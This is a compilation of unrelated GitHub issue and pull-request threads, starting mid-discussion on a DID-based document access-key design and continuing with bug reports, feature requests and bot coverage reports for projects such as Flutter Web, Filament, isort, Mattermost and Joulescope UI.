Next, in step 4, Alice retrieves her authorization from the Guest-list. She decrypts the message using TemPrivKeyDoc-Alice, and extracts the documents read and write keys. The TemPrivKeyDoc-Alice is generated using a user defined passphrase as a seed. This means that the user can reconstruct the private key, regardless of the device she is in

Regarding using a passphrase to generate the TmpKey:
The issue with a passphrase is that a malicious node may try to guess the password of a entry in the guest-list via a brute-force attack. The attacker has access to the guestlist because it's public. A successful guess would give access to the document keys, exposing the document contents.
I propose a different approach:
To request access, Alice would send her presentation package (DID + pubkey + pubkey signed with root private key) as well as the document id signed with her device's private key. After Bob verifies the authenticity of Alice as described in Step 2, Bob generates an entry in the guest-list for each one of Alice's devices present in his Address Book, by cyphering the document keys with each device's public keys.
If Alice tries to access the document in a device known to Bob, the access would be transparently given. But for a device unknown to Bob, Alice would not be able to retrieve the document keys because there's no entry for that device in the guest-list. Still, Alice could use one of her other previously authorized devices to authorized herself. This could be done in a nice UI/UX where we make it clear to Alice that her device hasn't yet been authorized but she can do so.
This solution does not have the downside of using passwords. In the best case scenario, Bob generated an entry for all of Alice devices and she is able to access the document in all of them. In the worse case scenario, Alice must "self authorize" all of her other device with the one authorized by Bob.
To further improve on this, Alice could have a list of devices associated with her DID. This would allow Bob to generate an invitation to all of her devices, hence always achieving the best case scenario. Still, new devices would have to follow the "self authorization" mechanism previously described.
Another improvement on top  of the previous one, is that Alice could optionally and selectively enable the replication of keys that unlock resources. This way, any resource previously accessed in a device would be made available to any of her devices that have replication enabled. This would be useful to any kind of resources, like a peerpad document, a kipster page, etc. This would be a opt-in feature that would improve the user-friendliness but reduce security. I will create a separate issue in order to further elaborate on this.

I agree that a passphrase would be the weakest point in this design, and the easier to attack. I see two main issues with it:
1. Key exposure
However,  using a device's private key pair (eg smart-phone key pair, or laptop key pair) to transmit document keys could result in the private key being overly exposed.
Let's assume that n is the set of documents Alice has access to, and that m is the set of documents an attacker has access to, m is contained inside n.
For each document in m the attacker will have access to the documents' keys encrypted with Alice's public keys. The attacker also has access to the documents' Write keys. This means he would have access to the encrypted text (which would be in the document's authorization list) and to the decrypted text. I need to do some further research, but I believe this would increase the vulnerability to a crypto analysis attack.
2. Consequences of key compromise
If Alice's device key was compromised, an attacker would have access to all the documents Alice has access to.
An alternative
Based on @satazor 's idea, I believe we could merge the passphrase concept with using the device keys:

The document Write key would be encrypted using Alice's device public key. This produces {WriteKey}Alice-Device-Pub
{WriteKey}Alice-Pub would then be encrypted with the document temporary key, which uses the passphrase. Producing {{WriteKey}Alice-Device-Pub}TempPubKey

This way, even if an attacker discover's the temp keys' passphrase, he would still need to have control of Alice's-Device-Pub. This also solves another problem of the device's key being compromised. Since the TempPubKeyPair is not derived from the Alice-Device-KeyPair, the disclosure of Alice-Device-Private key would not reveal the write keys of all of Alice's documents.

Like @diasdavid said, we may change a few knobs to increase security while decreasing usability and the other way around.
Having a password combined with Alice's keys will increase security while requiring her to remember the password for each document. She might end up using the same password in every document so that she doesn't have to remember different passwords. This will make the additional security less stronger.
What I'm saying is that the additional passphrase might make sense for some apps, or even in a subset of features of an app. I don't know if that's the case for peer pad documents in general. Perhaps, that could be a opt-in definition of the document itself.

Regarding compromised keys:

To further improve on this, Alice could have a list of devices associated with her DID. This would allow Bob to generate an invitation to all of her devices, hence always achieving the best case scenario

By doing this, Alice could not only have a list of devices associated with her DID but also flag the ones that were compromised. This way, peers interacting with one of her compromised devices could be warned and take action, like showing a big warning 🔥in the UI/UX as well as to remove the compromised device from its addressbook.

@satazor

This way, peers interacting with one of her compromised devices could be warned and take action, like showing a big warning 🔥in the UI/UX as well as to remove the compromised device from its addressbook.

So, in this scenario, everytime two entities interact which each other they would have to reauthenticate themselves? Alice sends me a message, I once again verify her DID-Document to make sure she hasn't flagged new devices as compromised?
In this case the address book would only need to contain DIDs with verified identities (the manual process through which a user verifies another user's proofs of personhood) and not need to contain the device keys associates with each DID, right? Because everytime a new interaction occurred you would get the device keys from the DID-Document to make sure that you're not receiving flagged keys.
Or would this process be something like sending an email to your contact list saying "hey, people, this key has been compromised, so please update your address book"

So, in this scenario, everytime two entities interact which each other they would have to reauthenticate themselves? Alice sends me a message, I once again verify her DID-Document to make sure she hasn't flagged new devices as compromised?

I would say that "reauthenticate" is not a good name to describe what I wrote above. Essentially, it's a check that can be made on an previously known device. The when and/or frequency at which this check is made should perhaps be discussed further. In the case of TUF, the check is made during an update process.

If we indeed have a way to associate devices to DID, perhaps we won't need the addressbook. Still it's a good piece to have for offline usage.

I see a very good a productive discussion here. In order to avoid reinventing the wheel or missing some perfectly shiny wheel all together, I recommend doing a research on what other Apps are doing for Identity in the browser first. Understand how the following apps work:

https://keybase.io/
https://jaxx.io/
https://www.myetherwallet.com/
https://metamask.io/
https://www.ledgerwallet.com/apps
http://minilock.io/

Namely on things like:

What is what they are trying to do (e.g Authenticate users)
Their attack vectors (XSS, hardware device stolen, etc)
How they mitigate those
Shortcomings still to solve
Eval on UX of each

Thanks, @diasdavid . I'd also like to add DID-Auth to the list. They explore how different DID methods can be used for authentication, there is a particularly good explanation of uPort.

https://github.com/WebOfTrustInfo/rebooting-the-web-of-trust-spring2018/blob/master/draft-documents/did_auth_draft.md


feature: Database and Broadcast notifications

[x] Polling
[x] Echo
[x] Include button view inside the Livewire component so notification counter can be dynamically updated
[x] Extract views
[x] Extract translations
[ ] Docs

A small suggestion for improve performance:
When installing pusherjs and laravel-echo by default on core of filament but many users don't use that on projects totally just increase js file size and useless js code.
I think if we have option when installing filament admin panel and notification package standalone like --pusher or --database it's nice when user use these option install pusherjs or use notification with database

Those libraries are roughly 24kb, so I am not worried at all about performance. Adding them as optional dependencies would be a bit of a pain that I don't want to worry about right now.

@themahdavi I did it anyway, wasn't actually too much work

Thanks 🙏


[web]: crash when the whole app is hidden via css on Firefox

When a Flutter Web app is loaded in an iframe in another site and it is hidden (e.g. with display: none), an exception is thrown and the app is no longer usable, even after making it visible again.
══╡ EXCEPTION CAUGHT BY SCHEDULER LIBRARY ╞═════════════════════════════════════════════════════════ dart_sdk.js:19110:15
The following NativeJavaScriptObject object was thrown during a scheduler callback: dart_sdk.js:19110:15
  [Exception... "Failure"  nsresult: "0x80004005 (NS_ERROR_FAILURE)"  location: "JS frame :: dart_sdk.js:19110:15
http://localhost:8081/chat/packages/flutter_web_ui/ui.ddc.js :: clear :: line 811"  data: no] dart_sdk.js:19110:15
dart_sdk.js:19110:15
When the exception was thrown, this was the stack: dart_sdk.js:19110:15
Non-error `[Exception... "Failure"  nsresult: "0x80004005 (NS_ERROR_FAILURE)"  location: "JS frame :: http://localhost:8081/chat/packages/flutter_web_ui/ui.ddc.js :: clear :: line 811"  data: no]` thrown by JS does not have stack trace. dart_sdk.js:19110:15
Caught in Dart at: dart_sdk.js:19110:15
dart_sdk.js:19110:15
dart:sdk_internal 4591:14                                                                  stackTrace dart_sdk.js:19110:15
package:flutter_web/src/scheduler/packages/flutter_web/src/scheduler/binding.dart 1031:25  [_invokeFrameCallback] dart_sdk.js:19110:15
package:flutter_web/src/scheduler/packages/flutter_web/src/scheduler/binding.dart 963:9    handleDrawFrame dart_sdk.js:19110:15
package:flutter_web/src/scheduler/packages/flutter_web/src/scheduler/binding.dart 778:7    <fn> dart_sdk.js:19110:15
dart:sdk_internal 15773:9                                                                  internalCallback dart_sdk.js:19110:15
════════════════════════════════════════════════════════════════════════════════════════════════════ dart_sdk.js:19110:15

Flutter Web on Firefox is particularly sensitive to this lack of rendering space, but with Chrome either it's not perfectly handled.
In the meantime, it's possible to check for MediaQuery.of(context).size.shortestSide == 0 and avoid building the app, but it doesn't solve everything.
flutter_web version: commit 8d4c12a (June 29)
Mac OS X 10.14.5 18F132, locale en-KR

/cc @ferhatb

I took a look and was able to reproduce the issue. Here's what I've found so far:

This is where we're throwing from: bitmap_canvas.dart: It seems Firefox doesn't like to set .font on a canvas when it's rendering inside a display: none iframe.
There's a Bugzilla about this same issue.
Here's a suggestion for a workaround to unblock this while we find a more graceful solution. TL;DR: instead of display: none, "hide" the iframe by making it 1x1 with opacity 0 in some corner of the viewport.

I'm currently looking at finding a better workaround at the framework level, or at the very least, warn the user of why the app is crashing.
Thanks for reporting!

Added a couple of try/catches to prevent this from happening, but as you mentioned, the apps don't look great when rendered hidden and then shown (particularly on Chrome). (It'll land in the next sync from our internal system to this repo).
Rendering problems are probably separate issues, that I haven't fully identified. I'll keep working on them.

This is issue is similar to some of the issues I've seen when rendering on a hidden iframe:
https://github.com/flutter/flutter/issues/39151


Support for vtsls

Hey!
Nice plugin! I'm hoping to get more understanding from those nasty TS errors.
I tried using this with my vtsls language server, but it didn't work. Once I updated the check for client to be client == 'tsserver' or client == 'vtsls' it started working.
Could that be added ?

I'm unfamiliar with vtsls, but in the mean time you should be able to manually override vtsls's [textDocument]/publishDiagnostics handler with the require('ts-error-translator').translate function.


Add Signale to Software-Development-Tools

[x] I followed the contributing guidelines: https://github.com/github/explore/blob/master/CONTRIBUTING.md

I am:

[x] Suggesting edits to an existing topic or collection
[ ] Curating a new topic or collection
[x] Unaffiliated with the project (not self-promoting as e.g. a maintainer, creator, contractor or employee)

EDITING AN EXISTING TOPIC OR COLLECTION
I'm suggesting these edits to an existing topic or collection:

[ ] Image (and my file is *.png, square, dimensions 288x288)
[x] Content (and my changes are in index.md)

Please explain why these changes are necessary:
Answer
I saw that this tool is quite popular: https://github.com/klauscfhq/signale, I was wondering if it is worth adding? Let me know what you all think!

Hi @novddd! Thanks for contributing, this is a great suggestion ❤

Update: Forgot to mention that is currently trending at position 5 on Github Trending Repos of the Month - All Languages and at position 3 on Github Trending Repos of the Month - Javascript. Thought it might be useful to know!

Happy to help out! ❤  Love Github! ❤


Username & password?

This library docs show username and password as options for the push and pull endpoints. The main Ollama API docs don't list those as accepted params, nor the python library, instead the suggestion is you must register with ollama and submit public key from ~/.ollama/id_ed25519.pub.
Is username/password an accepted auth method of these endpoints? Or this an error in this library?

Hi @lebrunel, I added the username/password here since they were in the Ollama push logic, but they look like they were added as a "future idea" and not actually used. Thanks for mentioning this, I'm going to remove them now, you should rely on the pub key that the server will manage.


Add improved search command

Description
Added Search Command along with respective Parser class and Predicate class to update Model with search result. ArgumentMultiMap class has also been updated to allow for proper equality check.
Type of change

[ ] Bug fix (non-breaking change which fixes an issue)
[X] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[X] This change requires a documentation update
[ ] Code quality improvements

Checklist

[X] I have tested this code
[X] I have updated the documentation

Closes #12

Codecov Report

Merging #41 (7e3df05) into master (4d333e0) will increase coverage by 0.62%.
The diff coverage is 90.69%.

@@             Coverage Diff              @@
##             master      #41      +/-   ##
============================================
+ Coverage     72.15%   72.78%   +0.62%
- Complexity      399      427      +28
============================================
  Files            70       73       +3
  Lines          1232     1275      +43
  Branches        125      133       +8
============================================
+ Hits            889      928      +39
  Misses          311      311
- Partials         32       36       +4

Impacted Files
Coverage Δ

...a/seedu/address/logic/parser/ArgumentMultimap.java
92.85% <50.00%> (-7.15%)
:arrow_down:

.../model/person/PersonContainsKeywordsPredicate.java
86.95% <86.95%> (ø)

...va/seedu/address/logic/commands/SearchCommand.java
100.00% <100.00%> (ø)

.../seedu/address/logic/parser/AddressBookParser.java
100.00% <100.00%> (ø)

...eedu/address/logic/parser/SearchCommandParser.java
100.00% <100.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 4d333e0...7e3df05. Read the comment docs.


chore: automated PR to update VHDVersion for 202308.10.0 VHD

This is an automated PR to bump VHDVersion for the VHD release with image version 202308.10.0

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall first build on imageBump/202308.10.0 at 60.739%

Totals

Change from base Build<PHONE_NUMBER>:
60.7%

Covered Lines:
2582

Relevant Lines:
4251

💛  - Coveralls


Ability to turn off "Books on multiple shelves" feature

Describe the feature you'd like
From a security perspective, it is concerning to me that Books can exist on multiple shelves, and I think it would be nice to have this feature turned off.
There are times where sensitive information needs to exist only one one shelf (for example, the IT Security shelf) and the ability to conclusively block books from being visible from other Shelves with different permissions is desirable.
It would be nice to be able to disable this feature system-wide so that it doesn't get intentionally/accidentally used and lead to security problems that can be challenging to prove exist.
Describe the benefits this would bring to existing BookStack users
Add certainty as to where the content exists and who has access to it, such that it can satisfy conclusively IT Security concerns (where needed).
Can the goal of this request already be achieved via other means?
Not that I am aware of.
Have you searched for an existing open/closed issue?

[X] I have searched for existing issues and none cover my fundemental request

How long have you been using BookStack?
Not using yet, just scoping
Additional context
No response

Thanks for the request @BloodyIron.
Personally, I would not be keen to implement this due to the conditional complexity this would introduce.
Additionally, the described benefits details the satisfaction of a specific IT team, which in reality is subjective and often business-case specific.
There are some alternatives to achieving this:

You could simply not use shelves, via removing shelve permissions from all users.
You could limit permission management capability to very few trusted people, and train them to never copy down shelf permissions to books.

As a less intrusive option implementation idea for addressing the problematic scenario:

Prevention/Disabling of the ability to copy shelf permissions to books.

I'm going to proceed and close this off due to my reasoning provided above, and due to not wanting to introduce diverging functionality for core structural systems.


The logout URL to be set in Sansan should be a WS-Fed endpoint.

[Enter feedback here]
Please modify the tutorial to specify the Ws-Fed endpoint in the logout URL.
Sansan does not support sending SAML Logout requests.
So, we need to specify the WS-Fed endpoint as the logout URL to allow users to logout.
However, the logout URL in the Set up column shows the same one as the login URL,

and if you specify it as per this tutorial, when we logout from Sansan, the following message will be displayed and we will not be able to logout.

Sorry, but we’re having trouble signing you in.
AADSTS750054: SAMLRequest or SAMLResponse must be present as query string parameters in HTTP request for SAML Redirect binding.

Please modify the tutorial to specify the Ws-Fed endpoint in the logout URL.
The Azure AD and Google tutorials specify the WS-Fed endpoint as the logout URL.
https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/google-apps-tutorial

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: df8ab6af-b3f9-228f-43ff-165ccfe48fa0
Version Independent ID: 99f428dd-03c3-50e7-f7e2-6e06b4449162
Content: Tutorial: Azure Active Directory integration with Sansan
Content Source: articles/active-directory/saas-apps/sansan-tutorial.md
Service: active-directory
Sub-service: saas-app-tutorial
GitHub Login: @jeevansd
Microsoft Alias: jeedes

@ryoji-kawamura,  Thank you for your query . We will investigate and update the thread.

@ssivas, Can you please let me know what the status of this correspondence is?

Issue resolved.
#please-close

Thanks for the response.
However, the Japanese page has not been fixed.
https://docs.microsoft.com/ja-jp/azure/active-directory/saas-apps/sansan-tutorial
Please check and correct this.


Split auto-merge into two inputs

One for master->dev and one for release->master.
In order to make it non-breaking, the current input will still be acceptable and should be prioritized. A deprecation warning must be thrown, if possible. The input should be totally deprecated in the next major release.

Gotta find another way through this since #12 already changed the config behavior for another purpose.


PR to use the new dev environment for testing

Description
Merging main into this branch to use the new dev environment created in #87.
Fixes nothing
Time invested
none
Type of change

New feature (non-breaking change which adds functionality)

Does this PR introduce a breaking change?
none
Most important changes
Dev environment
Checklist:

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[x] I have added tests that prove my fix is effective or that my feature works (might be obsolete with CI later on)
[x] New and existing unit tests pass locally with my changes (might be obsolete with CI later on)

changes were needed in this branch -> new PR


can we use this for xavier?

We wanna use xsens imu on xavier, but it cannot be recognized.

This is for the Jetson TX2 only.


APT source whitelist request for beanstalkd

This replaces travis-ci/travis-ci#4320.
The original text by @xiphiaz follows

Beanstalkd is a simple fast queue. It can be installed on ubuntu with sudo apt-get install beanstalkd
See https://github.com/spira/spira/pull/79/files, it is failing when beanstalkd is tried to be used -
See https://travis-ci.org/spira/spira#L1297

@BanzaiMan what is the process for getting items into the whitelist? Is there any kind of timeline that I should know of?

The original request was both for binary & source packages. Why was the original replaced with just a source package request?

Updating with gpg key url (I think this is it?):
http://keyserver.ubuntu.com/pks/lookup?op=get&fingerprint=on&search=0x27C26043DDF35E83
found from http://keyserver.ubuntu.com/pks/lookup?op=vindex&search=beanstalkd&fingerprint=on

Any updates?

Beanstalkd now no longer installs via sudo apt-get install -qq --force-yes beanstalkd. Any chance this can get added?
See this build for an exact error: https://travis-ci.org/josegonzalez/php-queuesadilla/jobs/97158562

@josegonzalez sudo apt-get update ?
$ sudo apt-get install -qq --force-yes beanstalkd
Selecting previously unselected package beanstalkd.
(Reading database ... 75060 files and directories currently installed.)
Preparing to unpack .../beanstalkd_1.9-2ubuntu1_amd64.deb ...
Unpacking beanstalkd (1.9-2ubuntu1) ...
Processing triggers for man-db (<IP_ADDRESS>-1ubuntu1) ...
Processing triggers for ureadahead (0.100.0-16) ...
Setting up beanstalkd (1.9-2ubuntu1) ...
 * Starting in-memory queueing server  beanstalkd                                                                                [ OK ]
Processing triggers for ureadahead (0.100.0-16) ...

without any additional configuration.
Also I used this https://github.com/phalcon/incubator/blob/2.0.x/.travis.yml#L41-L44 to install beanstalkd by unprivileged user

Interesting. Looks like that works. I'm having other issues with the new GCE instances, but I'll get around those for now. Thanks @sergeyklay for catching my flub :)


Fix/schemas

Pull Request Test Coverage Report for Build 480926133

0 of 3 (100.0%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.1%) to 94.167%

Totals

Change from base Build 480624082:
0.1%

Covered Lines:
89

Relevant Lines:
93

💛  - Coveralls

Pull Request Test Coverage Report for Build 480926133

0 of 3 (100.0%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.1%) to 94.167%

Totals

Change from base Build 480624082:
0.1%

Covered Lines:
89

Relevant Lines:
93

💛  - Coveralls

Pull Request Test Coverage Report for Build 480926133

3 of 3 (100.0%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.1%) to 94.167%

Totals

Change from base Build 480624082:
0.1%

Covered Lines:
89

Relevant Lines:
93

💛  - Coveralls

Pull Request Test Coverage Report for Build 480926133

3 of 3 (100.0%)  changed or added relevant lines in 3 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.1%) to 94.167%

Totals

Change from base Build 480624082:
0.1%

Covered Lines:
89

Relevant Lines:
93

💛  - Coveralls


[CMT-1018-1394] Article Request: Hacking with Yearn

We need to add farrahmay's article "Hacking with Yearn"
Type: [article]
Link to the original article: Hacking with Yearn

PR : https://github.com/yearn/yearn-comms/pull/1398


Documentation on muting channels is unclear

From reading the documentation on muting channels, I can't figure out the following: Does one still get (a) desktop and (b) e-mail notifications for direct mentions on a muted channel?

Thanks, @nmatt! I've made some changes to the documentation in light of this issue. Let me know if it clarifies things or you have any feedback. :)

Thanks @justinegeffen, however it's still not 100% clear to me. Under "Notification Preferences", there are two setting, "Mute channel" and "Ignore mentions for @channel, @here and @all". When editing "Mute channel", the description is "Muting turns off desktop, email and push notifications for this channel. The channel will not be marked as unread unless you're mentioned." My question is whether desktop/email/push notifications for direct mentions (i.e. not @channel etc.) are also turned off by muting the channel. This is unclear because (in my mind) when muting a channel one would still like to be notified about direct mentions, similarly to how the channel will still be marked as unread in that case ("[...] unless you're mentioned", see above). So I'd like to know the intended behavior for that case. Based on the intended behavior, I might then file a feature request or a bug report, but I'd first like to make sure what the current behavior is supposed to be.

Thanks for the additional information, @nmatt. I understand what the issue is and I'm tagging @esethna on this to further clarify.

Thanks for bringing this up @nmatt, to clarify on this:

Muting a channel does not send notifications (desktop, email, push) for any mentions (whether they are channel-wide or directed at you). However, while a channel is muted if you receive a mention you will still see the channel at reduced opacity with the mention badge in the sidebar:

The setting for "Ignore mentions for channel, here and all" overrides the preference in that channel so channel-wide mentions are not be considered mentions. So,

Example #1: If the channel was unmuted and you enabled the preference to "ignore mentions for channel, here and all", then direct mentions would still trigger notifications, but channel wide mentions would not.
Example #2: If the channel was muted and you enable the preference to "ignore mentions for channel, here and all", then no mentions (direct or channel-wide) will trigger notifications since the channel is muted, and the channel will not show a badge counter in the sidebar unless you are directly mentioned (since channel wide mentions are ignored).
@justinegeffen feel free to make any product help text or doc changes to reflect the above since that may not be clear.

@esethna: Just to be sure: If a channel is muted, then the "ignore mentions for channel, here and all" setting doesn't make any difference for the muted channel, correct?
In any case, I will open a feature request to enable notification for mentions in muted channels, as that would be an important feature for me.

I now see that there's already a feature request on UserVoice: https://mattermost.uservoice.com/forums/306457-general/suggestions/36650401-ability-to-receive-notifications-for-muted-channel

Thanks, @esethna. I'll have some time to look at this and do testing next week and will make updates as suggested.

Hi @nmatt! The documentation has been updated as per this PR: https://github.com/mattermost/docs/pull/3189. I'm going to close this issue but please don't hesitate to reopen it should you have any questions. :)


Postgres 9.6 doesn't support direct casting from JSONB to numeric

Rationale
TeamCity has informed us that Postgres 9.6 doesn't support directly casting from JSONB and JSON to INTEGER and other numeric types. We're deprecating support for 9.6 so this isn't really an important functional difference but this will clean up test failures.
https://teamcity.labkey.org/buildConfiguration/LabKey_217Release_Internal_InternalSuites_OldDependenciesPostgres/1530613?expandedTest=build%3A(id%3A1530613)%2Cid%3A14693
Changes

Do a VARCHAR-based validation instead
Fill in JSON variant that was intended for original merge

Verifying pg 9.6 on TeamCity: https://teamcity.labkey.org/buildConfiguration/LabKey_217Release_Internal_InternalSuites_OldDependenciesPostgres/1531435


Rename all app/assets/javascripts/cfme_* to miq_*

This renames the files and fixes references, closing #2065

:+1:


Feature: Save NFT image to phone

When I got a new NFT in my wallet, I want to set it as my avatar in other apps, I can only take a screenshot and crop to get the original image.

Good idea @seabornlee. Should this be like a save intent for the original image?


Less version

This is a brilliant library, does anyone know if there is equivalent package for Less?

Thanks @joshhornby! Unfortunately I don't know of any equivalent Less package. I'm currently porting the library to PostCSS though.


Change color button "Yes" inside MessageBox

Hello, I'm enjoying your work, but I can't find how to change the color of the "Yes" button when calling this:
bool userConfirmed = (bool)await _dialogService.DialogManager.ShowFrameworkDialogAsync(this, messageBoxSettings);
I've set every button inside my app to green, but this one doesn't change, and I can't figure out why.
Example :

Do you know why ?

Which message box implementation are you using? You'll need to look into the documentation of that specific message box provider. Perhaps even try using it manually to customize the styles before adding MvvmDialogs. This library only forwards the calls but is in no way involved in the styling.


python310Packages.bandcamp-api: 0.1.15 -> 0.2.2

Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 244211 run on x86_64-linux 1

6 packages built:

python310Packages.bandcamp-api
python310Packages.bandcamp-api.dist
python311Packages.bandcamp-api
python311Packages.bandcamp-api.dist
spotdl
spotdl.dist

Thank you :)


Cannot read property 'name' or undefined (Error)

I am getting this error when trying to run these bots
http://prntscr.com/avwbpa
After this error finally passes, im left with only 5-10 working bots, any fix?

Have the same problem

Comment out line 530 in agario-client.js should work make a backup tho for incase


Change in isort result from 4 to 5

In isort 5, it looks like imports are sorted in groups by default.
Before
import rope.base.taskhandle
import rope.base.project

def test():
    pass

from rope.refactor.rename import Rename
from rope.refactor.extract import ExtractMethod, ExtractVariable

After in isort 5
import rope.base.project
import rope.base.taskhandle

def test():
    pass

from rope.refactor.extract import ExtractMethod, ExtractVariable
from rope.refactor.rename import Rename

After in isort 4
import rope.base.project
import rope.base.taskhandle
from rope.refactor.extract import ExtractMethod, ExtractVariable
from rope.refactor.rename import Rename

def test():
    pass

Just want to double check if it's expected, and what arguments can users use to restore the old behavior if they want? I am a bit concerned for our users who might find this unexpected.

Hi @karrtikr,
This is indeed an intentional change as it makes isort much safer on code bases where side effects have to happen in-between import sections. However, the old style is still supported, I've added some additional information about this to the upgrade guide to help users who encounter it:
https://timothycrosley.github.io/isort/docs/upgrade_guides/5.0.0/#imports-no-longer-moved-to-top
Side-note: It would be really cool if somehow in VSCode, it was made available as a second right click / action so it could be done only when editing a file where you know you put an import into the middle.
Thanks!
~Timothy

Thanks for including additional info in the upgrade guide link!

Side-note: It would be really cool if somehow in VSCode, it was made available as a second right click / action so it could be done only when editing a file where you know you put an import into the middle.

Maybe I misunderstood, but we already show it in the context menu. Users can click Source action...->Sort imports  or select Sort imports directly. Users can also run the command Organize imports or Sort imports from the command palette (Ctrl+Shift+P)

@karrtikr,
Yes I'm aware! And for the record I'm a huge fan of the integration, and the integration between Visual Studio Code and all Python tools, It has become my main editor because of it :).

I just had the thought pop in my head that adding a second command to move imports to the top, could be a nice way to integrate the new functionality. It could also make things to cluttered etc, but I thought I'd share the idea!
Thanks!
~Timothy

Cool, I'll pass on the idea. Actually we have been advised that our context menu is too long, so that's a concern. We can probably add that inside Source Actions..., and also create a command.


Range display issue when JS110 and JS220 on same interface

Joulescope model
No response
UI version
1.0.29
What OS are you seeing the problem on?
Windows 10
What happened?
Range display is wrong (offset by 1) when both JS110 and JS220 are displayed at same time on interface
What was expected?
correct display of range
How to reproduce?

plug a JS110 and a JS220 is any order.
have 0 current so that each joulescope is in range 18µA
observe the range display

Extra information

So, this issue is very annoying.  The JS110 has a separate 2 A range, but the JS220 does not.  All other ranges are the same.  Internally, the range is represented as an integer.  So JS110 current range integers are not comparable to JS220 current range integers.  Future Joulescopes may have even different current ranges.
Supporting the current range display becomes more confusing with our upcoming official support for multiple simultaneous Joulescopes.  You are trying that now.  While it is somewhat usable today, the Waveform widget in particular lacks controls and a legend to make it fully usable.
Perhaps the right solution is to convert the current range into a floating point number and display it on a log y-axis scale?  When a single Joulescope is present, we can use the existing labeling.  When incomparable instruments are connected, it can switch to current range values in amps on a log scale.  We will lose the explicit labeling for each current range, but at least it won't be wrong.  What do you think?

As a developer I think understand the limitations you are facing but as an end user I don't care and just want it to work.
What about having 2 scales in same widget ?

The easier and "correct" solution is to undo #162 and just display the current range integer when you have different device types present in the same Waveform widget.  If you don't like it, you can open two Waveform widgets and assign Joulescopes of each type to each widget.  You can't do this today, but you will once we complete simultaneous Joulescope support.
I am not sure where we would put 2 scales in the same Waveform widget.  The layout not designed for that.
Another solution is to combine the JS110's 2 A and 10 A range into a single 10 A range, which is actually what the JS220 does on-instrument.  Both use the same 0.01 Ω shunt resistor, just with different analog gain.
In thinking about this more, a problem with log scale is displaying "off" in any sensible way.
Is this really a problem?  How often do you actually want to see the current range?

How` often do you actually want to see the current range?

Always. Because I need to know the precision of my measurement.

Is this really a problem?

only when using JS220 and JS110 simultaneously. Please do not undo #162. Merging 2A and 10A range would probably be less intrusive (for me because I don't use these ranges) while waiting for a way to open 2 different waveform widgets. After that is possible a solution that will not make people ask "why do I never see 2A range" would be preferred.

Ok, I think I am now starting to understand.  You do not want to see the current range.  You really want to see the measurement error.  You are only using the current range as an estimator for measurement error.
The Joulescope JS220 and Joulescope UI really do not help you understand measurement error, which is common practice for test equipment.  You usually get datasheet specs, but then no assistance through the display or UI in estimating measurement error.  Understanding measurement error is therefore often a paper exercise.  While understanding measurement error is necessary for sound engineering, we often "trust" (after verifying) that the instrument is accurate enough.  When the instrument is marginally accurate enough, engineers need to do more work to quantify & understand measurement error.
I have a bunch of questions:

What measurement errors are important to you?
a. Pixel-by-pixel error bars in the Waveform widget plots?
b. The error for the average current in Waveform widget dual markers?
c. The error for the average current in the Waveform widget right-hand side statistics?
d. The error for each Multimeter current reading?
e. Something else?
When you are trying to estimate the current measurement error, is the instrument in a fixed current range over the region of interest?  Alternatively, are you trying to estimate dynamic measurement error across current range changes?
How accurate do your measurement error estimates need to be?
Have you encountered situations where the Joulescope JS220 was not accurate enough for your measurement?  Why & what additional information can you provide?

Feel free to respond here or by email.  We can also set up a time to talk live if that is easier.

For the simple explanation we are often measuring sleep current of IoT devices 1-10µA and it's very important to check that the JS has switched back to 18µA range after a peak of device activity. Sometimes it can be a little long. Sometimes it will not happen due to external noise sources. So I always have the "range" open to understand what happens.
Sometimes we need to know thee range to know the shunt resistor that is connected.
For our dream device accuracy, I will send you an email.

Hi @atsju  - This makes sense.  So it's less about measurement accuracy and more about ensuring that sleep mode is measured in the 18 µA range.
This makes senses.  Thank you for explaining, and thanks for the email!

As of Joulescope UI 1.0.45 (currently alpha), the current range y-axis labels match the selected device (source):


Issues with jupyter bundlerextension on windows

I discovered recently that the command/script jupyter bundlerextension is not available or does not work when using a windows machine and the package is installed from anaconda or conda-forge channel.
I build this locally on my windows machine and it seems to work afterwards. So maybe this issue is related to the built process?
However I've added the command/script to the entry points and test commands to be able to see if the build fails.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.

Thanks @m-rossi.

After updating the notebook by conda update -c conda-forge notebook the command jupyter bundlerextension works under Windows!


executable 'servo_node' not found on the libexec directory

Description
I have severals issues. I am trying to reproduce the hello moveit tutorial for universal robot 5 ur5e. For this purpose I am trying to update this project https://github.com/LucaBross/simple_moveit2_universal_robots_movement.git from ur3e to ur5e.
Your environment

ROS Distro: Humble (using ROS2)
OS Version: e.g. Ubuntu 22.04
Source or Binary build?
If binary, which release version?
